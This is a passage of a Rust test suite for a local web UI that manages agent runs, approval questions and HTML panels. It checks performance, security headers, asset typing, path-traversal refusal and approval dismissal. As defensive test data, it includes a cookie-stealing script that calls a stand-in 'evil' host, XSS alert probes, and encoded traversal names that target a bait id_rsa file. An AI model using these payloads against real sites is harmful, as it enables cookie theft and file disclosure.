9301 res.header("x-test-git").unwrap().parse().unwrap(),
9302 )
9303 }
9304
9305 #[tokio::test]
9306 async fn list_request_cost_is_independent_of_record_count() {
9307 let (_tmp, repos, fx) = performance_fixture().await;
9308 let mut previous = None;
9309 for n in [4, 60] {
9310 seed_performance(&fx, &repos, n, n, n);
9311 let mut costs = Vec::new();
9312 for (path, discoveries) in [
9313 ("/api/questions", 1),
9314 ("/api/talks", 2),
9315 ("/api/health", 1),
9316 ("/api/stats", 1),
9317 ] {
9318 for repo in &repos {
9321 let cache = repo.join(".git/magi/config");
9322 if cache.exists() {
9323 std::fs::remove_dir_all(cache).unwrap();
9324 }
9325 }
9326 let cost = request_counts(&fx.get(path).await);
9327 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9328 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9329 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9330 costs.push(cost);
9331 }
9332 if let Some(previous) = previous {
9333 assert_eq!(costs, previous);
9334 }
9335 previous = Some(costs);
9336 }
9337 }
9341
9342 #[tokio::test]
9345 async fn list_handler_cost_without_transport() {
9346 let (_tmp, repos) = performance_repositories().await;
9347 let fx = Fixture {
9348 home: TempDir::new().unwrap(),
9349 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9350 };
9351 let ui = Arc::new(
9352 Ui::new(
9353 fx.queue(),
9354 fx.questions(),
9355 fx.talks(),
9356 fx.runs(),
9357 fx.home.path().to_path_buf(),
9358 repos[0].clone(),
9359 )
9360 .with_worktrees_root(fx.home.path().join("wt")),
9361 );
9362 let mut previous = None;
9363 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9364 seed_performance(&fx, &repos, n, runs, items);
9365 let mut costs = Vec::new();
9366 for endpoint in ["questions", "talks", "health", "stats"] {
9367 for repo in &repos {
9368 let cache = repo.join(".git/magi/config");
9369 if cache.exists() {
9370 std::fs::remove_dir_all(cache).unwrap();
9371 }
9372 }
9373 let (_, cost) = request_cost::measure(async {
9374 match endpoint {
9375 "questions" => {
9376 let _ = questions_list(State(ui.clone())).await.unwrap();
9377 }
9378 "talks" => {
9379 let _ = talks_list(
9380 State(ui.clone()),
9381 Query(ListQuery {
9382 limit: None,
9383 ids: None,
9384 }),
9385 )
9386 .await
9387 .unwrap();
9388 }
9389 "health" => {
9390 let _ = health(State(ui.clone())).await.unwrap();
9391 }
9392 _ => {
9393 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9394 .await
9395 .unwrap();
9396 }
9397 }
9398 })
9399 .await;
9400 eprintln!("{endpoint} handler N={n}: {cost:?}");
9401 assert_eq!(
9402 cost.0,
9403 if endpoint == "talks" { 2 } else { 1 },
9404 "{endpoint}"
9405 );
9406 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9407 costs.push(cost);
9408 }
9409 if let Some(previous) = previous {
9410 assert_eq!(costs, previous);
9411 }
9412 previous = Some(costs);
9413 }
9414 }
9415
9416 #[tokio::test]
9417 async fn list_request_cost_scopes_do_not_mix() {
9418 let (_tmp, repos, fx) = performance_fixture().await;
9419 seed_performance(&fx, &repos, 10, 0, 10);
9420 let (questions, talks, notices) = tokio::join!(
9421 fx.get("/api/questions"),
9422 fx.get("/api/talks"),
9423 fx.get("/api/notifications")
9424 );
9425 assert_eq!(request_counts(&questions).0, 1);
9426 assert_eq!(request_counts(&talks).0, 2);
9427 assert_eq!(request_counts(¬ices), (0, 0));
9428 }
9429
9430 #[tokio::test]
9431 async fn list_endpoints_large_home_ceiling() {
9432 let (_tmp, repos, fx) = performance_fixture().await;
9433 seed_performance(&fx, &repos, 200, 300, 400);
9434 let mut failures = Vec::new();
9435 for path in [
9438 "/",
9439 "/app.js",
9440 "/app.css",
9441 "/api/questions",
9442 "/api/runs?limit=300",
9443 "/api/queue",
9444 "/api/talks",
9445 "/api/notifications",
9446 "/api/health",
9447 "/api/stats",
9448 "/api/loop",
9449 "/api/settings",
9450 "/api/repos",
9451 ] {
9452 let start = std::time::Instant::now();
9453 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9454 let elapsed = start.elapsed();
9455 eprintln!("{path}: {elapsed:?}");
9456 match result {
9457 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9458 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9459 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9460 }
9461 }
9462 assert!(failures.is_empty(), "{}", failures.join("\n"));
9463 }
9464
9465 struct Res {
9466 status: u16,
9467 headers: String,
9468 head: String,
9473 body: String,
9474 bytes: Vec<u8>,
9478 }
9479
9480 impl Res {
9481 fn json(&self) -> Value {
9482 serde_json::from_str(&self.body)
9483 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9484 }
9485
9486 fn header(&self, name: &str) -> Option<&str> {
9488 self.head.lines().find_map(|line| {
9489 let (key, value) = line.split_once(':')?;
9490 key.trim()
9491 .eq_ignore_ascii_case(name)
9492 .then(|| value.trim_start().trim_end_matches('\r'))
9493 })
9494 }
9495 }
9496
9497 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9500 request_with(addr, method, path, body, &[]).await
9501 }
9502
9503 async fn request_with(
9507 addr: SocketAddr,
9508 method: &str,
9509 path: &str,
9510 body: Option<&str>,
9511 extra: &[(&str, &str)],
9512 ) -> Res {
9513 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9514 for (name, value) in extra {
9515 head.push_str(&format!("{name}: {value}\r\n"));
9516 }
9517 if let Some(body) = body {
9518 head.push_str("Content-Type: application/json\r\n");
9519 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9520 }
9521 head.push_str("\r\n");
9522 if let Some(body) = body {
9523 head.push_str(body);
9524 }
9525 let mut socket = tokio::net::TcpStream::connect(addr)
9526 .await
9527 .expect("connect to the test server");
9528 socket
9529 .write_all(head.as_bytes())
9530 .await
9531 .expect("write request");
9532 let mut raw = Vec::new();
9533 socket.read_to_end(&mut raw).await.expect("read response");
9534 let split = raw
9537 .windows(4)
9538 .position(|w| w == b"\r\n\r\n")
9539 .expect("a header block");
9540 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9541 let bytes = raw[split + 4..].to_vec();
9542 let status = head
9543 .lines()
9544 .next()
9545 .and_then(|line| line.split_whitespace().nth(1))
9546 .and_then(|code| code.parse().ok())
9547 .expect("a status line");
9548 Res {
9549 status,
9550 headers: head.to_lowercase(),
9551 head,
9552 body: String::from_utf8_lossy(&bytes).into_owned(),
9553 bytes,
9554 }
9555 }
9556
9557 async fn request_bytes(
9563 addr: SocketAddr,
9564 path: &str,
9565 headers: &[(&str, &str)],
9566 body: &[u8],
9567 ) -> Res {
9568 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9569 for (name, value) in headers {
9570 head.push_str(&format!("{name}: {value}\r\n"));
9571 }
9572 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9573 let mut socket = tokio::net::TcpStream::connect(addr)
9574 .await
9575 .expect("connect to the test server");
9576 socket
9577 .write_all(head.as_bytes())
9578 .await
9579 .expect("write request head");
9580 socket.write_all(body).await.expect("write request body");
9581 let mut raw = Vec::new();
9582 socket.read_to_end(&mut raw).await.expect("read response");
9583 let split = raw
9584 .windows(4)
9585 .position(|w| w == b"\r\n\r\n")
9586 .expect("a header block");
9587 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9588 let bytes = raw[split + 4..].to_vec();
9589 let status = head
9590 .lines()
9591 .next()
9592 .and_then(|line| line.split_whitespace().nth(1))
9593 .and_then(|code| code.parse().ok())
9594 .expect("a status line");
9595 Res {
9596 status,
9597 headers: head.to_lowercase(),
9598 head,
9599 body: String::from_utf8_lossy(&bytes).into_owned(),
9600 bytes,
9601 }
9602 }
9603
9604 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9606 let mut state = RunState::new(
9607 PathBuf::from("/repo/magi"),
9608 "main".to_owned(),
9609 "0123456789abcdef".to_owned(),
9610 "Add a web UI\n\nMobile first.".to_owned(),
9611 Config::default(),
9612 );
9613 state.id = id.to_owned();
9614 state.status = status;
9615 let dir = runs.join(id);
9616 std::fs::create_dir_all(&dir).expect("run dir");
9617 std::fs::write(
9618 dir.join("run.json"),
9619 serde_json::to_string_pretty(&state).expect("serialize run"),
9620 )
9621 .expect("write run.json");
9622 }
9623
9624 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9628 let mut state = RunState::new(
9629 PathBuf::from(repo),
9630 "main".to_owned(),
9631 "0123456789abcdef".to_owned(),
9632 "task".to_owned(),
9633 Config::default(),
9634 );
9635 state.id = id.to_owned();
9636 state.status = status;
9637 let dir = runs.join(id);
9638 std::fs::create_dir_all(&dir).expect("run dir");
9639 std::fs::write(
9640 dir.join("run.json"),
9641 serde_json::to_string_pretty(&state).expect("serialize run"),
9642 )
9643 .expect("write run.json");
9644 }
9645
9646 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9647 let body = serde_json::json!({
9648 "schema": 1,
9649 "pid": 4242,
9650 "started_at": Timestamp::now().to_string(),
9651 "updated_at": updated_at.to_string(),
9652 "idle": false,
9653 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9654 "completed": 7,
9655 "polls": 143,
9656 });
9657 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9658 }
9659
9660 fn launch_idle(
9670 _opts: daemon::Opts,
9671 stop: daemon::Stop,
9672 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9673 Box::pin(async move {
9674 while !stop.stopped() {
9675 tokio::time::sleep(Duration::from_millis(2)).await;
9676 }
9677 Ok(())
9678 })
9679 }
9680
9681 fn launch_broken(
9684 _opts: daemon::Opts,
9685 _stop: daemon::Stop,
9686 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9687 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9692 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9693 Box::pin(async move {
9694 Err(anyhow::anyhow!(if first {
9695 "publish the daemon status file: read-only file system"
9696 } else {
9697 "the restarted stand-in failed as well"
9698 }))
9699 })
9700 }
9701
9702 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9709 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9710
9711 fn launch_knocking_on_the_way_out(
9718 _opts: daemon::Opts,
9719 stop: daemon::Stop,
9720 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9721 Box::pin(async move {
9722 while !stop.stopped() {
9723 tokio::time::sleep(Duration::from_millis(2)).await;
9724 }
9725 let addr = PARK_KNOCK
9726 .lock()
9727 .expect("park knock")
9728 .expect("the test set an address");
9729 let heard = request(addr, "GET", "/api/health", None).await.status;
9730 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9731 Ok(())
9732 })
9733 }
9734
9735 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9744 for _ in 0..SETTLE_STEPS {
9745 let view = fx.get("/api/loop").await.json();
9746 if want(&view) {
9747 return view;
9748 }
9749 tokio::time::sleep(Duration::from_millis(10)).await;
9750 }
9751 panic!(
9752 "the loop never settled: {}",
9753 fx.get("/api/loop").await.json()
9754 );
9755 }
9756
9757 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9759 let store = fx.questions();
9760 let mut q = Question::new(
9761 "20260902-000000-beef".to_owned(),
9762 "implement".to_owned(),
9763 "impl-A".to_owned(),
9764 summary.to_owned(),
9765 "because it matters".to_owned(),
9766 choices.iter().map(|c| (*c).to_owned()).collect(),
9767 );
9768 store.put(&mut q).expect("put question");
9769 q.id
9770 }
9771
9772 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9778 let store = fx.questions();
9779 let mut q = Question::new(
9780 "20260902-000000-beef".to_owned(),
9781 "land".to_owned(),
9782 "fix".to_owned(),
9783 "Merge this?".to_owned(),
9784 "the diff is in the panel".to_owned(),
9785 vec!["merge".to_owned(), "hold".to_owned()],
9786 );
9787 let staging = fx.home.path().join("staging");
9790 std::fs::create_dir_all(&staging).expect("staging dir");
9791 let sources: Vec<PathBuf> = assets
9792 .iter()
9793 .map(|(name, bytes)| {
9794 let path = staging.join(name);
9795 std::fs::write(&path, bytes).expect("write staged asset");
9796 path
9797 })
9798 .collect();
9799 store
9800 .put_panel(&mut q, html, &sources)
9801 .expect("write the panel");
9802 store.put(&mut q).expect("put question");
9803 q.id
9804 }
9805
9806 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9815 seed_talk_at(&fx.talks(), id, status)
9816 }
9817
9818 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9819 std::fs::create_dir_all(store.root()).expect("talks dir");
9820 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9821 .expect("serialize a seat");
9822 let body = serde_json::json!({
9823 "schema": 1,
9824 "id": id,
9825 "repo": "/repo/magi",
9826 "agent": "mock",
9827 "status": status,
9828 "turns": [],
9829 "created_at": Timestamp::now().to_string(),
9830 "updated_at": Timestamp::now().to_string(),
9831 "seat": seat,
9832 });
9833 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9834 store.get(id).expect("the seeded talk has to be readable");
9835 id.to_owned()
9836 }
9837
9838 #[tokio::test]
9839 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9840 let fx = Fixture::start().await;
9841 let id = panel(
9842 &fx,
9843 "<h1>Merge?</h1><img src=\"diff.svg\">",
9844 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9845 );
9846
9847 for path in [
9848 format!("/api/questions/{id}/panel"),
9849 format!("/api/questions/{id}/asset/diff.svg"),
9850 ] {
9851 let res = fx.get(&path).await;
9852 assert_eq!(res.status, 200, "{path}: {}", res.body);
9853 assert_eq!(
9859 res.header("content-security-policy"),
9860 Some(
9861 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9862 font-src data:; base-uri 'none'; form-action 'none'; \
9863 frame-ancestors 'self'"
9864 ),
9865 "{path} is the only thing between a hostile panel and the tailnet"
9866 );
9867 assert_eq!(
9868 res.header("x-content-type-options"),
9869 Some("nosniff"),
9870 "{path}: a browser must not re-decide the type we sent"
9871 );
9872 assert_eq!(
9873 res.header("referrer-policy"),
9874 Some("no-referrer"),
9875 "{path}: a panel must not leak the question id off the machine"
9876 );
9877
9878 let pre = fx.head(&path).await;
9883 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9884 assert_eq!(
9885 pre.header("content-security-policy"),
9886 res.header("content-security-policy"),
9887 "{path}: the preflight carries the same policy"
9888 );
9889 assert_eq!(
9890 pre.header("content-type"),
9891 res.header("content-type"),
9892 "{path}: the preflight carries the same type"
9893 );
9894 }
9895 }
9896
9897 #[tokio::test]
9898 async fn a_panel_reaches_the_browser_byte_for_byte() {
9899 let fx = Fixture::start().await;
9900 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9905 let id = panel(&fx, html, &[]);
9906
9907 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9908
9909 assert_eq!(res.status, 200);
9910 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9911 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9912 assert_eq!(
9913 res.header("content-disposition"),
9914 None,
9915 "the panel itself is rendered in the frame, not downloaded"
9916 );
9917 }
9918
9919 #[tokio::test]
9920 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9921 let fx = Fixture::start().await;
9922 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9923 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9924 let id = panel(
9925 &fx,
9926 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9927 &[("diff.svg", svg), ("shot.png", png)],
9928 );
9929
9930 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9931 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9932
9933 assert_eq!(as_svg.status, 200);
9934 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9935 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9940
9941 assert_eq!(as_png.status, 200);
9942 assert_eq!(as_png.header("content-type"), Some("image/png"));
9943 assert_eq!(
9944 as_png.header("content-disposition"),
9945 None,
9946 "a raster image has no execution surface, so tapping it still shows it"
9947 );
9948 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9949 }
9950
9951 #[tokio::test]
9952 async fn an_html_asset_is_never_served_as_html() {
9953 let fx = Fixture::start().await;
9954 let id = panel(
9955 &fx,
9956 "<p>see the notes</p>",
9957 &[
9958 (
9959 "notes.html",
9960 b"<script>fetch('http://evil/'+document.cookie)</script>",
9961 ),
9962 ("hook.js", b"fetch('http://evil/')"),
9963 ("data.json", b"{}"),
9964 ("HEADLINE.TXT", b"plain"),
9965 ],
9966 );
9967
9968 for name in ["notes.html", "hook.js", "data.json"] {
9969 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9970 assert_eq!(res.status, 200, "{name}: {}", res.body);
9971 assert_eq!(
9976 res.header("content-type"),
9977 Some("application/octet-stream"),
9978 "{name} must not be a type the browser will execute or render"
9979 );
9980 }
9981 let txt = fx
9984 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9985 .await;
9986 assert_eq!(
9987 txt.header("content-type"),
9988 Some("text/plain; charset=utf-8")
9989 );
9990 }
9991
9992 #[tokio::test]
9993 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9994 let fx = Fixture::start().await;
9995 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9996 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10000
10001 for encoded in [
10008 "%2e%2e%2fid_rsa",
10009 "..%2fid_rsa",
10010 "..%5cid_rsa",
10011 "%2e%2e%5cid_rsa",
10012 "diff%00.svg",
10013 "..",
10014 ".hidden",
10015 "%2e%2e%2f%2e%2e%2fid_rsa",
10016 ] {
10017 let res = fx
10018 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10019 .await;
10020 assert_eq!(
10021 res.status, 400,
10022 "`{encoded}` has to be refused by name, not looked up: {}",
10023 res.body
10024 );
10025 assert!(res.json()["error"].is_string(), "{}", res.body);
10026 }
10027
10028 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10034 let res = fx
10035 .get(&format!("/api/questions/{id}/asset/{literal}"))
10036 .await;
10037 assert_eq!(
10038 res.status, 404,
10039 "`{literal}` must not match the asset route at all: {}",
10040 res.body
10041 );
10042 }
10043 }
10044
10045 #[tokio::test]
10046 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10047 let fx = Fixture::start().await;
10048 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10049 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10050
10051 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10055 assert_eq!(none.status, 404, "{}", none.body);
10056 assert!(none.json()["error"].is_string(), "{}", none.body);
10057 assert_eq!(
10058 fx.head(&format!("/api/questions/{plain}/panel"))
10059 .await
10060 .status,
10061 404,
10062 "the preflight is the only way the client can learn this"
10063 );
10064
10065 let missing = fx
10067 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10068 .await;
10069 assert_eq!(missing.status, 404, "{}", missing.body);
10070 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10071
10072 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10074 assert_eq!(
10075 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10076 404
10077 );
10078 }
10079
10080 #[tokio::test]
10081 async fn a_run_with_an_open_question_reads_as_waiting() {
10082 let fx = Fixture::start().await;
10083 let run = "20260902-000000-beef".to_owned();
10084 write_run(&fx.runs(), &run, RunStatus::Implementing);
10085
10086 let before = fx.get("/api/runs").await.json();
10087 assert_eq!(before[0]["waiting"], false, "{before}");
10088
10089 let store = fx.questions();
10090 let mut q = Question::new(
10091 run.clone(),
10092 "implement".to_owned(),
10093 "impl-A".to_owned(),
10094 "Which backend?".to_owned(),
10095 String::new(),
10096 vec!["SQLite".to_owned()],
10097 );
10098 store.put(&mut q).expect("put");
10099
10100 let during = fx.get("/api/runs").await.json();
10101 assert_eq!(during[0]["waiting"], true, "{during}");
10102
10103 q.answer(Answer::Choice("SQLite".to_owned()))
10106 .expect("answer");
10107 store.put(&mut q).expect("put");
10108 let after = fx.get("/api/runs").await.json();
10109 assert_eq!(after[0]["waiting"], false, "{after}");
10110 }
10111
10112 #[tokio::test]
10113 async fn an_open_question_is_listed_and_counted_by_health() {
10114 let fx = Fixture::start().await;
10115 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10116
10117 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10118 let listed = fx.get("/api/questions").await.json();
10119 assert_eq!(listed.as_array().expect("array").len(), 1);
10120 assert_eq!(listed[0]["id"], id);
10121 assert_eq!(listed[0]["status"], "open");
10122 assert_eq!(listed[0]["choices"][1], "Redis");
10123 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10126 }
10127
10128 fn obsolete_approval_state() -> RunState {
10129 let mut state = crate::land::tests::repair_state(true, true);
10130 state.pr = Some(crate::run::PrRecord {
10131 url: "https://github.com/example/repo/pull/42".into(),
10132 number: 42,
10133 state: "open".into(),
10134 checks: "green".into(),
10135 round: 1,
10136 rounds: 4,
10137 red_at_merge: Vec::new(),
10138 });
10139 state
10140 }
10141
10142 #[tokio::test]
10143 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10144 for owner in ["missing", "current", "completed", "later"] {
10145 let fx = Fixture {
10146 home: TempDir::new().unwrap(),
10147 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10148 };
10149 let mut state = obsolete_approval_state();
10150 state.status = RunStatus::Landing;
10151 state.parked = true;
10152 state.driver_exited = true;
10153 let mut q = Question::new(
10154 state.id.clone(),
10155 crate::land::APPROVAL_NODE.into(),
10156 "land".into(),
10157 "Old approval".into(),
10158 "Original evidence".into(),
10159 vec!["merge".into(), "hold".into()],
10160 );
10161 state.land_approval = Some(crate::run::LandApproval {
10162 question: q.id.clone(),
10163 head: "head".into(),
10164 });
10165 state.save_under(fx.home.path()).unwrap();
10166 let stale = state.clone();
10167 fx.questions().put(&mut q).unwrap();
10168 let mut task = Task::new(
10169 "Owner".into(),
10170 "Original instruction".into(),
10171 state.repo.clone(),
10172 Source::Human,
10173 );
10174 task.runs.push(state.id.clone());
10175 task.status = if owner == "completed" {
10176 TaskStatus::Done
10177 } else {
10178 TaskStatus::Parked
10179 };
10180 if owner == "later" {
10181 task.runs.push("later-run".into());
10182 }
10183 if owner != "missing" {
10184 fx.queue().put(&mut task).unwrap();
10185 }
10186 let ui = Arc::new(Ui::new(
10187 fx.queue(),
10188 fx.questions(),
10189 fx.talks(),
10190 fx.runs(),
10191 fx.home.path().into(),
10192 state.repo.clone(),
10193 ));
10194 let response = question_answer(
10195 State(ui),
10196 Path(q.id.clone()),
10197 Ok(Json(NewAnswer {
10198 choice: Some(crate::merge_decision::DISMISS.into()),
10199 text: None,
10200 })),
10201 )
10202 .await
10203 .unwrap();
10204 assert_eq!(
10205 response.0.question.resolution().as_deref(),
10206 Some(crate::merge_decision::DISMISS)
10207 );
10208 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10209 assert_eq!(disk.status, RunStatus::Superseded);
10210 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10211 assert!(!crate::merge_decision::resumable_hold(&disk));
10212 assert_eq!(
10213 serde_json::to_value(&disk.pr).unwrap(),
10214 serde_json::to_value(&stale.pr).unwrap()
10215 );
10216 assert_eq!(fx.questions().count_open(), 0);
10217 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10218 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10219 if owner == "missing" {
10220 assert!(fx.queue().list().is_empty());
10221 } else {
10222 let after = fx.queue().get(&task.id).unwrap();
10223 assert_eq!(
10224 after.status,
10225 if owner == "current" {
10226 TaskStatus::Done
10227 } else {
10228 task.status
10229 }
10230 );
10231 assert_eq!(after.runs, task.runs);
10232 assert_eq!(after.instruction, task.instruction);
10233 assert_eq!(after.action_applied(&q.id), owner == "current");
10234 }
10235 }
10236 }
10237
10238 #[tokio::test]
10239 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10240 let fx = Fixture::start().await;
10241 let mut state = obsolete_approval_state();
10242 state.status = RunStatus::Landing;
10243 state.parked = true;
10244 state.driver_exited = true;
10245 let mut q = Question::new(
10246 state.id.clone(),
10247 crate::land::APPROVAL_NODE.into(),
10248 "land".into(),
10249 "Superseded PR approval".into(),
10250 "Original review evidence".into(),
10251 vec!["merge".into(), "hold".into()],
10252 );
10253 state.land_approval = Some(crate::run::LandApproval {
10254 question: q.id.clone(),
10255 head: "old-reviewed-head".into(),
10256 });
10257 state.save_under(fx.home.path()).unwrap();
10260 let stale_driver = state.clone();
10261 fx.questions().put(&mut q).unwrap();
10262 let path = fx
10263 .home
10264 .path()
10265 .join("questions")
10266 .join(format!("{}.json", q.id));
10267 let mut legacy = serde_json::to_value(&q).unwrap();
10268 legacy["schema"] = 9.into();
10269 legacy.as_object_mut().unwrap().remove("merge_target");
10270 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10271
10272 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10275 let answer_path = format!("/api/questions/{}/answer", q.id);
10276 let res = fx.post(&answer_path, Some(&body)).await;
10277 assert_eq!(res.status, 200, "{}", res.body);
10278 let disk = fx.questions().get(&q.id).unwrap();
10279 assert_eq!(
10280 disk.resolution().as_deref(),
10281 Some(crate::merge_decision::DISMISS)
10282 );
10283 assert!(disk.detail.starts_with("Original review evidence"));
10284 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10285 assert_eq!(retired.status, RunStatus::Superseded);
10286 assert_eq!(
10287 serde_json::to_value(&retired.pr).unwrap(),
10288 serde_json::to_value(&state.pr).unwrap()
10289 );
10290 assert!(!retired.merge_decision.as_ref().unwrap().closed);
10291 assert!(!crate::merge_decision::resumable_hold(&retired));
10292 assert!(fx.queue().list().is_empty());
10293 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10294 let addr = Fixture::serve(
10296 fx.home.path(),
10297 PathBuf::from("/repo/magi"),
10298 launch_idle,
10299 None,
10300 )
10301 .await;
10302 let reconnected = Fixture {
10303 home: fx.home,
10304 addr,
10305 };
10306 let listed = reconnected.get("/api/questions").await.json();
10307 assert!(
10308 listed
10309 .as_array()
10310 .unwrap()
10311 .iter()
10312 .all(|q| q["status"] != "open")
10313 );
10314 assert_eq!(listed[0]["id"], q.id, "history remains available");
10315 assert_eq!(
10316 reconnected.get("/api/health").await.json()["questions_open"],
10317 0
10318 );
10319 assert_eq!(
10320 reconnected
10321 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10322 .await
10323 .status,
10324 409
10325 );
10326 assert!(
10328 reconnected
10329 .questions()
10330 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10331 .is_err()
10332 );
10333 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10336 }
10337
10338 #[tokio::test]
10339 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10340 let fx = Fixture::start().await;
10341 let mut state = obsolete_approval_state();
10342 state.status = RunStatus::Landing;
10343 state.driver_exited = true;
10344 let mut q = Question::new(
10345 state.id.clone(),
10346 crate::land::APPROVAL_NODE.into(),
10347 "land".into(),
10348 "Obsolete approval".into(),
10349 String::new(),
10350 vec!["merge".into(), "hold".into()],
10351 );
10352 state.land_approval = Some(crate::run::LandApproval {
10353 question: q.id.clone(),
10354 head: "head".into(),
10355 });
10356 state.save_under(fx.home.path()).unwrap();
10357 fx.questions().put(&mut q).unwrap();
10358 let mut task = Task::new(
10359 "Owner".into(),
10360 "Original instruction".into(),
10361 state.repo.clone(),
10362 Source::Human,
10363 );
10364 task.runs = vec![state.id.clone(), "later-run".into()];
10365 fx.queue().put(&mut task).unwrap();
10366 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10367 let claim = fx.queue().claim(&task.id).unwrap();
10368 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10369 let path = format!("/api/questions/{}/answer", q.id);
10370 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10371 assert!(fx.questions().get(&q.id).unwrap().status.open());
10372 drop(claim);
10373 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10374 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10375 assert!(fx.questions().get(&q.id).unwrap().status.open());
10376 drop(publication);
10377 state.driver_exited = false;
10379 state.driver_pid = None;
10380 state.save_under(fx.home.path()).unwrap();
10381 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10382 state.driver_exited = true;
10383 state.land_armed_head = Some("head".into());
10384 state.save_under(fx.home.path()).unwrap();
